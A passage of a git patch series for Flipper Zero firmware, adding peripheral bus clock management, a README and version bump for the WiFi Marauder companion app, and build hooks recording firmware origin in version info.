LL_DMA_EnableIT_HT(SUBGHZ_DMA_CH1_DEF); LL_DMA_EnableChannel(SUBGHZ_DMA_CH1_DEF); + furi_hal_bus_enable(FuriHalBusTIM2); + // Configure TIM2 LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; @@ -740,7 +745,7 @@ void furi_hal_subghz_stop_async_tx() { // Deinitialize Timer FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); // Deinitialize DMA diff --git a/firmware/targets/f7/furi_hal/furi_hal_uart.c b/firmware/targets/f7/furi_hal/furi_hal_uart.c index 71b5c7ba0..209c6be6a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_uart.c +++ b/firmware/targets/f7/furi_hal/furi_hal_uart.c @@ -4,6 +4,7 @@ #include #include #include +#include #include @@ -13,6 +14,9 @@ static void (*irq_cb[2])(uint8_t ev, uint8_t data, void* context); static void* irq_ctx[2]; static void furi_hal_usart_init(uint32_t baud) { + furi_hal_bus_enable(FuriHalBusUSART1); + LL_RCC_SetUSARTClockSource(LL_RCC_USART1_CLKSOURCE_PCLK2); + furi_hal_gpio_init_ex( &gpio_usart_tx, GpioModeAltFunctionPushPull, @@ -50,6 +54,9 @@ static void furi_hal_usart_init(uint32_t baud) { } static void furi_hal_lpuart_init(uint32_t baud) { + furi_hal_bus_enable(FuriHalBusLPUART1); + LL_RCC_SetLPUARTClockSource(LL_RCC_LPUART1_CLKSOURCE_PCLK1); + furi_hal_gpio_init_ex( &gpio_ext_pc0, GpioModeAltFunctionPushPull, @@ -86,10 +93,11 @@ static void furi_hal_lpuart_init(uint32_t baud) { } void furi_hal_uart_init(FuriHalUartId ch, uint32_t baud) { - if(ch == FuriHalUartIdLPUART1) + if(ch == FuriHalUartIdLPUART1) { furi_hal_lpuart_init(baud); - else if(ch == FuriHalUartIdUSART1) + } else if(ch == FuriHalUartIdUSART1) { furi_hal_usart_init(baud); + } } void furi_hal_uart_set_br(FuriHalUartId ch, uint32_t baud) { @@ -126,11 +134,15 @@ void furi_hal_uart_set_br(FuriHalUartId ch, uint32_t baud) { void furi_hal_uart_deinit(FuriHalUartId ch) { furi_hal_uart_set_irq_cb(ch, NULL, NULL); if(ch == FuriHalUartIdUSART1) { - LL_USART_Disable(USART1); + if(furi_hal_bus_is_enabled(FuriHalBusUSART1)) { + furi_hal_bus_disable(FuriHalBusUSART1); + } furi_hal_gpio_init(&gpio_usart_tx, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(&gpio_usart_rx, GpioModeAnalog, GpioPullNo, GpioSpeedLow); } else if(ch == FuriHalUartIdLPUART1) { - LL_LPUART_Disable(LPUART1); + if(furi_hal_bus_is_enabled(FuriHalBusLPUART1)) { + furi_hal_bus_disable(FuriHalBusLPUART1); + } furi_hal_gpio_init(&gpio_ext_pc0, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(&gpio_ext_pc1, GpioModeAnalog, GpioPullNo, GpioSpeedLow); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb.c b/firmware/targets/f7/furi_hal/furi_hal_usb.c index 011add953..b88168d5d 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb.c @@ -2,7 +2,9 @@ #include #include #include + #include +#include #include #include @@ -86,6 +88,8 @@ static void wkup_evt(usbd_device* dev, uint8_t event, uint8_t ep); /* Low-level init */ void furi_hal_usb_init(void) { + LL_RCC_SetUSBClockSource(LL_RCC_USB_CLKSOURCE_PLLSAI1); + LL_GPIO_InitTypeDef GPIO_InitStruct = {0}; LL_PWR_EnableVddUSB(); @@ -98,7 +102,10 @@ void furi_hal_usb_init(void) { LL_GPIO_Init(GPIOA, &GPIO_InitStruct); usbd_init(&udev, &usbd_hw, USB_EP0_SIZE, ubuf, sizeof(ubuf)); + + FURI_CRITICAL_ENTER(); usbd_enable(&udev, true); + FURI_CRITICAL_EXIT(); usbd_reg_descr(&udev, usb_descriptor_get); usbd_reg_event(&udev, usbd_evt_susp, susp_evt); @@ -359,8 +366,10 @@ static void usb_process_mode_reinit() { usbd_connect(&udev, false); usb.enabled = false; + FURI_CRITICAL_ENTER(); usbd_enable(&udev, false); usbd_enable(&udev, true); + FURI_CRITICAL_EXIT(); furi_delay_ms(USB_RECONNECT_DELAY); usb_process_mode_start(usb.interface, usb.interface_context); diff --git a/firmware/targets/f7/src/update.c b/firmware/targets/f7/src/update.c index c1e1084c2..c6235a150 100644 --- a/firmware/targets/f7/src/update.c +++ b/firmware/targets/f7/src/update.c @@ -38,6 +38,12 @@ static bool flipper_update_mount_sd() { } static bool flipper_update_init() { + // TODO: Configure missing peripherals properly + furi_hal_bus_enable(FuriHalBusHSEM); + furi_hal_bus_enable(FuriHalBusIPCC); + furi_hal_bus_enable(FuriHalBusRNG); + furi_hal_bus_enable(FuriHalBusUSART1); + furi_hal_clock_init(); furi_hal_rtc_init(); furi_hal_interrupt_init(); diff --git a/firmware/targets/furi_hal_include/furi_hal.h b/firmware/targets/furi_hal_include/furi_hal.h index 2eb4688d4..9341dccec 100644 --- a/firmware/targets/furi_hal_include/furi_hal.h +++ b/firmware/targets/furi_hal_include/furi_hal.h @@ -12,9 +12,11 @@ struct STOP_EXTERNING_ME {}; #include #include +#include #include #include #include +#include #include #include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_random.h b/firmware/targets/furi_hal_include/furi_hal_random.h index ee69326f4..5ca9cb723 100644 --- a/firmware/targets/furi_hal_include/furi_hal_random.h +++ b/firmware/targets/furi_hal_include/furi_hal_random.h @@ -6,6 +6,9 @@ extern "C" { #endif +/** Initialize random subsystem */ +void furi_hal_random_init(); + /** Get random value * * @return random value diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 51a87d22a..ab25458b5 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -243,10 +243,12 @@ static void digital_signal_stop_timer() { LL_TIM_DisableCounter(TIM2); LL_TIM_DisableUpdateEvent(TIM2); LL_TIM_DisableDMAReq_UPDATE(TIM2); + + furi_hal_bus_disable(FuriHalBusTIM2); } static void digital_signal_setup_timer() { - digital_signal_stop_timer(); + furi_hal_bus_enable(FuriHalBusTIM2); LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); diff --git a/lib/lfrfid/lfrfid_raw_worker.c b/lib/lfrfid/lfrfid_raw_worker.c index 22c0bbd02..aa962a47d 100644 --- a/lib/lfrfid/lfrfid_raw_worker.c +++ b/lib/lfrfid/lfrfid_raw_worker.c @@ -151,9 +151,7 @@ static int32_t lfrfid_raw_read_worker_thread(void* thread_context) { if(file_valid) { // setup carrier - furi_hal_rfid_pins_read(); - furi_hal_rfid_tim_read(worker->frequency, worker->duty_cycle); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_start(worker->frequency, worker->duty_cycle); // stabilize detector furi_delay_ms(1500); diff --git a/lib/lfrfid/lfrfid_worker_modes.c b/lib/lfrfid/lfrfid_worker_modes.c index 9b6f16eb1..8a2667774 100644 --- a/lib/lfrfid/lfrfid_worker_modes.c +++ b/lib/lfrfid/lfrfid_worker_modes.c @@ -100,24 +100,21 @@ static LFRFIDWorkerReadState lfrfid_worker_read_internal( uint32_t timeout, ProtocolId* result_protocol) { LFRFIDWorkerReadState state = LFRFIDWorkerReadTimeout; - furi_hal_rfid_pins_read(); if(feature & LFRFIDFeatureASK) { - furi_hal_rfid_tim_read(125000, 0.5); + furi_hal_rfid_tim_read_start(125000, 0.5); FURI_LOG_D(TAG, "Start ASK"); if(worker->read_cb) { worker->read_cb(LFRFIDWorkerReadStartASK, PROTOCOL_NO, worker->cb_ctx); } } else { - furi_hal_rfid_tim_read(62500, 0.25); + furi_hal_rfid_tim_read_start(62500, 0.25); FURI_LOG_D(TAG, "Start PSK"); if(worker->read_cb) { worker->read_cb(LFRFIDWorkerReadStartPSK, PROTOCOL_NO, worker->cb_ctx); } } - furi_hal_rfid_tim_read_start(); - // stabilize detector lfrfid_worker_delay(worker, LFRFID_WORKER_READ_STABILIZE_TIME_MS); @@ -205,7 +202,7 @@ static LFRFIDWorkerReadState lfrfid_worker_read_internal( average_index = 0; if(worker->read_cb) { - if(average > 0.2 && average < 0.8) { + if(average > 0.2f && average < 0.8f) { if(!card_detected) { card_detected = true; worker->read_cb( diff --git a/lib/lfrfid/tools/t5577.c b/lib/lfrfid/tools/t5577.c index 3444afea3..00c9ddfb6 100644 --- a/lib/lfrfid/tools/t5577.c +++ b/lib/lfrfid/tools/t5577.c @@ -14,9 +14,7 @@ #define T5577_OPCODE_RESET 0b00 static void t5577_start() { - furi_hal_rfid_tim_read(125000, 0.5); - furi_hal_rfid_pins_read(); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_start(125000, 0.5); // do not ground the antenna furi_hal_rfid_pin_pull_release(); @@ -24,14 +22,13 @@ static void t5577_start() { static void t5577_stop() { furi_hal_rfid_tim_read_stop(); - furi_hal_rfid_tim_reset(); furi_hal_rfid_pins_reset(); } static void t5577_write_gap(uint32_t gap_time) { - furi_hal_rfid_tim_read_stop(); + furi_hal_rfid_tim_read_pause(); furi_delay_us(gap_time * 8); - furi_hal_rfid_tim_read_start(); + furi_hal_rfid_tim_read_continue(); } static void t5577_write_bit(bool value) { diff --git a/lib/nfc/parsers/opal.c b/lib/nfc/parsers/opal.c index b5ca37eb6..2a6b5d122 100644 --- a/lib/nfc/parsers/opal.c +++ b/lib/nfc/parsers/opal.c @@ -143,7 +143,7 @@ bool opal_parser_parse(NfcDeviceData* dev_data) { // sign separately, because then we can handle balances of -99..-1 // cents, as the "dollars" division below would result in a positive // zero value. - o->balance = abs(o->balance); + o->balance = abs(o->balance); //-V1081 sign = "-"; } uint8_t cents = o->balance % 100; @@ -164,7 +164,7 @@ bool opal_parser_parse(NfcDeviceData* dev_data) { o->mode = 4; } - const char* mode_str = (o->mode <= 4 ? opal_modes[o->mode] : opal_modes[3]); + const char* mode_str = (o->mode <= 4 ? opal_modes[o->mode] : opal_modes[3]); //-V547 const char* usage_str = (o->usage <= 12 ? opal_usages[o->usage] : opal_usages[13]); furi_string_printf( diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 74d99fe80..1c3cb4a58 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -135,6 +135,7 @@ void pulse_reader_stop(PulseReader* signal) { LL_DMA_DisableChannel(DMA1, signal->dma_channel + 1); LL_DMAMUX_DisableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); LL_TIM_DisableCounter(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); furi_hal_gpio_init_simple(signal->gpio, GpioModeAnalog); } @@ -146,6 +147,8 @@ void pulse_reader_start(PulseReader* signal) { signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)signal->gpio_buffer; signal->dma_config_gpio.NbData = signal->size; + furi_hal_bus_enable(FuriHalBusTIM2); + /* start counter */ LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); From b3aaffc95de4bc94e08db86e96e98ab53b3fe1d7 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 19:33:04 +0300 Subject: [PATCH 082/100] Update wifi marauder plugin --- .../wifi_marauder_companion/ReadMe.md | 19 +++++++++++++++++++ .../wifi_marauder_app.h | 2 +- 2 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 applications/external/wifi_marauder_companion/ReadMe.md diff --git a/applications/external/wifi_marauder_companion/ReadMe.md b/applications/external/wifi_marauder_companion/ReadMe.md new file mode 100644 index 000000000..fd690ece6 --- /dev/null +++ b/applications/external/wifi_marauder_companion/ReadMe.md @@ -0,0 +1,19 @@ +# WiFi Marauder companion app for Flipper Zero + +## https://github.com/0xchocolate/flipperzero-wifi-marauder + +Requires a connected dev board running Marauder FW. [See install instructions from UberGuidoZ here.](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard#marauder-install-information) + +## Support + +For app feedback, bugs, and feature requests, please [create an issue here](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/issues). + +You can find me (0xchocolate) on discord as @cococode#6011. + +If you'd like to donate to the app development effort: +**ETH**: `0xf32A1F0CD6122C97d8953183E53cB889cc087C9b` +**BTC**: `bc1qtw7s25cwdkuaups22yna8sttfxn0usm2f35wc3` + +Find more info about Marauder and support its developer (justcallmekoko aka WillStunForFood) here: https://github.com/justcallmekoko/ESP32Marauder + +If you found the app preinstalled in a firmware release, consider supporting the maintainers! diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h index 5457f89d8..3a342bbba 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.h @@ -4,7 +4,7 @@ extern "C" { #endif -#define WIFI_MARAUDER_APP_VERSION "v0.3.7" +#define WIFI_MARAUDER_APP_VERSION "v0.4.0" typedef struct WifiMarauderApp WifiMarauderApp; From 8d2ea14f0694af81f7e0b04232e910e504d8cfc4 Mon Sep 17 00:00:00 2001 From: hedger Date: Mon, 29 May 2023 20:40:56 +0400 Subject: [PATCH 083/100] [FL-3330] fbt: added hooks for build & dist environments; added FW_ORIGIN_* macro for apps & SDK (#2705) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fbt: added hooks for build & dist environments * Moved env hooks to an optional file * Fixed var name * Added fw origin to device info * Bumped device info version * fbt: added FIRMWARE_ORIGIN option. Different implementation for FW_ORIGIN_* C macro. * api: bumped versions * fbt: added fbt_options_local.py * gitignore: cleanup Co-authored-by: あく --- .gitignore | 22 +++---- documentation/fbt.md | 2 + fbt_options.py | 7 ++ firmware.scons | 11 ++++ firmware/targets/f18/api_symbols.csv | 4 +- firmware/targets/f7/api_symbols.csv | 4 +- firmware/targets/f7/furi_hal/furi_hal_info.c | 20 +++++- furi/core/core_defines.h | 5 ++ lib/toolbox/version.c | 15 ++++- lib/toolbox/version.h | 11 ++++ scripts/debug/flipperversion.py | 16 ++++- scripts/fbt_tools/fbt_envhooks.py | 67 ++++++++++++++++++++ scripts/fbt_tools/fbt_version.py | 4 +- scripts/ufbt/SConstruct | 5 ++ scripts/version.py | 23 +++++++ site_scons/commandline.scons | 7 ++ 16 files changed, 206 insertions(+), 17 deletions(-) create mode 100644 scripts/fbt_tools/fbt_envhooks.py diff --git a/.gitignore b/.gitignore index bf17a94e2..d60dcec3f 100644 --- a/.gitignore +++ b/.gitignore @@ -30,27 +30,25 @@ bindings/ .mxproject Brewfile.lock.json -# Visual Studio Code -/.vscode/ - # Kate .kateproject .kateconfig -# legendary cmake's -build -CMakeLists.txt - -# bundle output -dist - # kde .directory # SCons .sconsign.dblite + + +# Visual Studio Code +/.vscode + +# bundle output +/dist + # SCons build dir -build/ +/build # Toolchain /toolchain @@ -64,3 +62,5 @@ PVS-Studio.log *.PVS-Studio.* .gdbinit + +/fbt_options_local.py \ No newline at end of file diff --git a/documentation/fbt.md b/documentation/fbt.md index d9eb8f4aa..c19780ef5 100644 --- a/documentation/fbt.md +++ b/documentation/fbt.md @@ -114,6 +114,8 @@ To run cleanup (think of `make clean`) for specified targets, add the `-c` optio Default configuration variables are set in the configuration file: `fbt_options.py`. Values set in the command line have higher precedence over the configuration file. +You can also create a file called `fbt_options_local.py` that will be evaluated when loading default options file, enabling persisent overriding of default options without modifying default configuration. + You can find out available options with `./fbt -h`. ### Firmware application set diff --git a/fbt_options.py b/fbt_options.py index d05b882a0..b6fcc70f2 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -1,7 +1,9 @@ +from pathlib import Path import posixpath # For more details on these options, run 'fbt -h' +FIRMWARE_ORIGIN = "Official" # Default hardware target TARGET_HW = 7 @@ -75,3 +77,8 @@ FIRMWARE_APPS = { } FIRMWARE_APP_SET = "default" + +custom_options_fn = "fbt_options_local.py" + +if Path(custom_options_fn).exists(): + exec(compile(Path(custom_options_fn).read_text(), custom_options_fn, "exec")) diff --git a/firmware.scons b/firmware.scons index c46996899..a91b7cdfc 100644 --- a/firmware.scons +++ b/firmware.scons @@ -18,6 +18,7 @@ env = ENV.Clone( "fbt_apps", "pvsstudio", "fbt_hwtarget", + "fbt_envhooks", ], COMPILATIONDB_USE_ABSPATH=False, BUILD_DIR=fw_build_meta["build_dir"], @@ -72,6 +73,8 @@ env = ENV.Clone( _APP_ICONS=None, ) +env.PreConfigureFwEnvionment() + if env["IS_BASE_FIRMWARE"]: env.Append( FIRMWARE_BUILD_CFG="firmware", @@ -100,6 +103,13 @@ lib_targets = env.BuildModules( ], ) +# Configure firmware origin definitions +env.Append( + CPPDEFINES=[ + env.subst("FW_ORIGIN_${FIRMWARE_ORIGIN}"), + ] +) + # Now, env is fully set up with everything to build apps fwenv = env.Clone(FW_ARTIFACTS=[]) @@ -271,5 +281,6 @@ if should_gen_cdb_and_link_dir(fwenv, BUILD_TARGETS): Alias(fwenv["FIRMWARE_BUILD_CFG"] + "_all", fw_artifacts) +env.PostConfigureFwEnvionment() Return("fwenv") diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 92c8697aa..7f0dcebd5 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,28.0,, +Version,+,28.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2003,6 +2003,8 @@ Function,-,vdprintf,int,"int, const char*, __gnuc_va_list" Function,+,version_get,const Version*, Function,+,version_get_builddate,const char*,const Version* Function,+,version_get_dirty_flag,_Bool,const Version* +Function,+,version_get_firmware_origin,const char*,const Version* +Function,+,version_get_git_origin,const char*,const Version* Function,+,version_get_gitbranch,const char*,const Version* Function,+,version_get_gitbranchnum,const char*,const Version* Function,+,version_get_githash,const char*,const Version* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 4b48949d9..1259f0fce 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,28.0,, +Version,+,28.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2945,6 +2945,8 @@ Function,-,vdprintf,int,"int, const char*, __gnuc_va_list" Function,+,version_get,const Version*, Function,+,version_get_builddate,const char*,const Version* Function,+,version_get_dirty_flag,_Bool,const Version* +Function,+,version_get_firmware_origin,const char*,const Version* +Function,+,version_get_git_origin,const char*,const Version* Function,+,version_get_gitbranch,const char*,const Version* Function,+,version_get_gitbranchnum,const char*,const Version* Function,+,version_get_githash,const char*,const Version* diff --git a/firmware/targets/f7/furi_hal/furi_hal_info.c b/firmware/targets/f7/furi_hal/furi_hal_info.c index 4c034ff35..47672c97a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_info.c +++ b/firmware/targets/f7/furi_hal/furi_hal_info.c @@ -26,7 +26,7 @@ void furi_hal_info_get(PropertyValueCallback out, char sep, void* context) { property_value_out(&property_context, NULL, 2, "format", "minor", "1"); } else { property_value_out(&property_context, NULL, 3, "device", "info", "major", "2"); - property_value_out(&property_context, NULL, 3, "device", "info", "minor", "1"); + property_value_out(&property_context, NULL, 3, "device", "info", "minor", "2"); } // Model name @@ -173,6 +173,24 @@ void furi_hal_info_get(PropertyValueCallback out, char sep, void* context) { &property_context, "%d", 3, "firmware", "api", "major", api_version_major); property_value_out( &property_context, "%d", 3, "firmware", "api", "minor", api_version_minor); + + property_value_out( + &property_context, + NULL, + 3, + "firmware", + "origin", + "fork", + version_get_firmware_origin(firmware_version)); + + property_value_out( + &property_context, + NULL, + 3, + "firmware", + "origin", + "git", + version_get_git_origin(firmware_version)); } if(furi_hal_bt_is_alive()) { diff --git a/furi/core/core_defines.h b/furi/core/core_defines.h index 830bb191c..4309c20c5 100644 --- a/furi/core/core_defines.h +++ b/furi/core/core_defines.h @@ -78,6 +78,11 @@ extern "C" { #define TOSTRING(x) STRINGIFY(x) #endif +#ifndef CONCATENATE +#define CONCATENATE(a, b) CONCATENATE_(a, b) +#define CONCATENATE_(a, b) a##b +#endif + #ifndef REVERSE_BYTES_U32 #define REVERSE_BYTES_U32(x) \ ((((x)&0x000000FF) << 24) | (((x)&0x0000FF00) << 8) | (((x)&0x00FF0000) >> 8) | \ diff --git a/lib/toolbox/version.c b/lib/toolbox/version.c index 6ba68e364..876695f07 100644 --- a/lib/toolbox/version.c +++ b/lib/toolbox/version.c @@ -5,7 +5,7 @@ #define VERSION_MAGIC (0xBE40u) #define VERSION_MAJOR (0x1u) -#define VERSION_MINOR (0x0u) +#define VERSION_MINOR (0x1u) struct Version { // Header @@ -20,6 +20,9 @@ struct Version { // Payload bits and pieces const uint8_t target; const bool build_is_dirty; + // v 1.1 + const char* firmware_origin; + const char* git_origin; }; /* version of current running firmware (bootloader/flipper) */ @@ -37,6 +40,8 @@ static const Version version = { , .target = TARGET, .build_is_dirty = BUILD_DIRTY, + .firmware_origin = FIRMWARE_ORIGIN, + .git_origin = GIT_ORIGIN, }; const Version* version_get(void) { @@ -71,3 +76,11 @@ uint8_t version_get_target(const Version* v) { bool version_get_dirty_flag(const Version* v) { return v ? v->build_is_dirty : version.build_is_dirty; } + +const char* version_get_firmware_origin(const Version* v) { + return v ? v->firmware_origin : version.firmware_origin; +} + +const char* version_get_git_origin(const Version* v) { + return v ? v->git_origin : version.git_origin; +} diff --git a/lib/toolbox/version.h b/lib/toolbox/version.h index 652ff3fea..0c04e5c75 100644 --- a/lib/toolbox/version.h +++ b/lib/toolbox/version.h @@ -82,6 +82,17 @@ uint8_t version_get_target(const Version* v); */ bool version_get_dirty_flag(const Version* v); +/** + * Get firmware origin. "Official" for mainline firmware, fork name for forks. + * Set by FIRMWARE_ORIGIN fbt argument. +*/ +const char* version_get_firmware_origin(const Version* v); + +/** + * Get git repo origin +*/ +const char* version_get_git_origin(const Version* v); + #ifdef __cplusplus } #endif diff --git a/scripts/debug/flipperversion.py b/scripts/debug/flipperversion.py index 4ac3bd200..56915c0f2 100644 --- a/scripts/debug/flipperversion.py +++ b/scripts/debug/flipperversion.py @@ -23,6 +23,10 @@ class VersionData: version: str target: int build_is_dirty: bool + # Since version 1.1 + firmware_origin: str = "" + git_origin: str = "" + # More fields may be added in the future extra: Optional[Dict[str, str]] = field(default_factory=dict) @@ -52,7 +56,7 @@ class VersionLoader: # Struct version 1.0 extra_data = int(self.version_ptr[5].cast(self._uint_type)) - return VersionData( + version_data = VersionData( git_hash=self.version_ptr[1].cast(self._cstr_type).string(), git_branch=self.version_ptr[2].cast(self._cstr_type).string(), build_date=self.version_ptr[3].cast(self._cstr_type).string(), @@ -60,6 +64,12 @@ class VersionLoader: target=extra_data & 0xF, build_is_dirty=bool((extra_data >> 8) & 0xF), ) + if minor >= 1: + version_data.firmware_origin = ( + self.version_ptr[6].cast(self._cstr_type).string() + ) + version_data.git_origin = self.version_ptr[7].cast(self._cstr_type).string() + return version_data def load_unversioned(self): """Parse an early version of the version struct.""" @@ -104,6 +114,10 @@ class FlipperFwVersion(gdb.Command): print(f"\tGit commit: {v.version.git_hash}") print(f"\tDirty: {v.version.build_is_dirty}") print(f"\tHW Target: {v.version.target}") + if v.version.firmware_origin: + print(f"\tOrigin: {v.version.firmware_origin}") + if v.version.git_origin: + print(f"\tGit origin: {v.version.git_origin}") FlipperFwVersion() diff --git a/scripts/fbt_tools/fbt_envhooks.py b/scripts/fbt_tools/fbt_envhooks.py new file mode 100644 index 000000000..0538e173c --- /dev/null +++ b/scripts/fbt_tools/fbt_envhooks.py @@ -0,0 +1,67 @@ +""" + +To introduce changes to firmware build environment that are specific to your fork: + + create a file "scripts/fbt/fbt_hooks.py" + +With it, you can define functions that will be called at specific points of +firmware build configuration, with environment as an argument. + +For example, you can define a function `PreConfigureFwEnvionment(env)` that +defines that will be a part of SDK build, so applications can +use them for conditional compilation. + +Here is a list of all available hooks: + + PreConfigureFwEnvionment(env): + This function is called on firmware environment (incl. updater) + before any major configuration is done. + + PostConfigureFwEnvionment(env): + This function is called on firmware environment (incl. updater) + after all configuration is done. + + PreConfigureUfbtEnvionment(env): + This function is called on ufbt environment at the beginning of + its configuration, before dist environment is created. + + PostConfigureUfbtEnvionment(env): + This function is called on ufbt dist_env environment after all + configuration and target creation is done. +""" + + +class DefaultFbtHooks: + pass + + +try: + from fbt import fbt_hooks +except ImportError: + fbt_hooks = DefaultFbtHooks() + + +def generate(env): + stub_hook = lambda env: None + control_hooks = [ + "PreConfigureFwEnvionment", + "PostConfigureFwEnvionment", + "PreConfigureUfbtEnvionment", + "PostConfigureUfbtEnvionment", + ] + + if ( + isinstance(fbt_hooks, DefaultFbtHooks) + and env.subst("${FIRMWARE_ORIGIN}") != "Official" + ): + # If fbt_hooks.py is not present, but we are not building official firmware, + # create "scripts/fbt/fbt_hooks.py" to implement changes to firmware build environment. + pass + + for hook_name in control_hooks: + hook_fn = getattr(fbt_hooks, hook_name, stub_hook) + env.AddMethod(hook_fn, hook_name) + + +def exists(): + return True diff --git a/scripts/fbt_tools/fbt_version.py b/scripts/fbt_tools/fbt_version.py index 8469e181a..aead13b29 100644 --- a/scripts/fbt_tools/fbt_version.py +++ b/scripts/fbt_tools/fbt_version.py @@ -19,7 +19,9 @@ def generate(env): BUILDERS={ "VersionBuilder": Builder( action=Action( - '${PYTHON3} "${VERSION_SCRIPT}" generate -t ${TARGET_HW} -o ${TARGET.dir.posix} --dir "${ROOT_DIR}"', + '${PYTHON3} "${VERSION_SCRIPT}" generate ' + "-t ${TARGET_HW} -fw-origin ${FIRMWARE_ORIGIN} " + '-o ${TARGET.dir.posix} --dir "${ROOT_DIR}"', "${VERSIONCOMSTR}", ), emitter=version_emitter, diff --git a/scripts/ufbt/SConstruct b/scripts/ufbt/SConstruct index 4dd1fb5b9..d72de380c 100644 --- a/scripts/ufbt/SConstruct +++ b/scripts/ufbt/SConstruct @@ -98,6 +98,7 @@ env = core_env.Clone( "fbt_apps", "fbt_extapps", "fbt_assets", + "fbt_envhooks", ("compilation_db", {"COMPILATIONDB_COMSTR": "\tCDB\t${TARGET}"}), ], FBT_FAP_DEBUG_ELF_ROOT=ufbt_build_dir, @@ -117,6 +118,8 @@ env = core_env.Clone( wrap_tempfile(env, "LINKCOM") wrap_tempfile(env, "ARCOM") +env.PreConfigureUfbtEnvionment() + # print(env.Dump()) # Dist env @@ -474,3 +477,5 @@ dist_env.PhonyTarget( "env", "@echo $( ${FBT_SCRIPT_DIR}/toolchain/fbtenv.sh $)", ) + +dist_env.PostConfigureUfbtEnvionment() diff --git a/scripts/version.py b/scripts/version.py index 3d68b2e98..f00c1f531 100644 --- a/scripts/version.py +++ b/scripts/version.py @@ -45,8 +45,23 @@ class GitVersion: "GIT_BRANCH": branch, "VERSION": version, "BUILD_DIRTY": dirty and 1 or 0, + "GIT_ORIGIN": ",".join(self._get_git_origins()), } + def _get_git_origins(self): + try: + remotes = self._exec_git("remote -v") + except subprocess.CalledProcessError: + return set() + origins = set() + for line in remotes.split("\n"): + if not line: + continue + _, destination = line.split("\t") + url, _ = destination.split(" ") + origins.add(url) + return origins + def _exec_git(self, args): cmd = ["git"] cmd.extend(args.split(" ")) @@ -74,6 +89,13 @@ class Main(App): help="hardware target", required=True, ) + self.parser_generate.add_argument( + "-fw-origin", + dest="firmware_origin", + type=str, + help="firmware origin", + required=True, + ) self.parser_generate.add_argument("--dir", dest="sourcedir", required=True) self.parser_generate.set_defaults(func=self.generate) @@ -89,6 +111,7 @@ class Main(App): { "BUILD_DATE": build_date.strftime("%d-%m-%Y"), "TARGET": self.args.target, + "FIRMWARE_ORIGIN": self.args.firmware_origin, } ) diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index 2e9486627..e31927c59 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -236,6 +236,13 @@ vars.AddVariables( help="Don't open browser after generating error repots", default=False, ), + ( + "FIRMWARE_ORIGIN", + "Firmware origin. 'Official' if follows upstream's API structure, otherwise fork name. " + " This will also create a C define FW_ORIGIN_ so that " + " app can check what version it is being built for.", + "Official", + ), ) Return("vars") From 467f3265e026949750b150d3ff0e0f248d3e2044 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 21:01:00 +0300 Subject: [PATCH 084/100] bus changes --- .../targets/f7/furi_hal/furi_hal_infrared.c | 303 ++++++++++-------- .../targets/f7/furi_hal/furi_hal_subghz.c | 9 +- 2 files changed, 168 insertions(+), 144 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_infrared.c b/firmware/targets/f7/furi_hal/furi_hal_infrared.c index e833c4731..b2d906923 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_infrared.c +++ b/firmware/targets/f7/furi_hal/furi_hal_infrared.c @@ -1,14 +1,11 @@ #include -#include -#include "stm32wbxx_ll_dma.h" #include #include +#include -#include #include -#include +#include -#include #include #include @@ 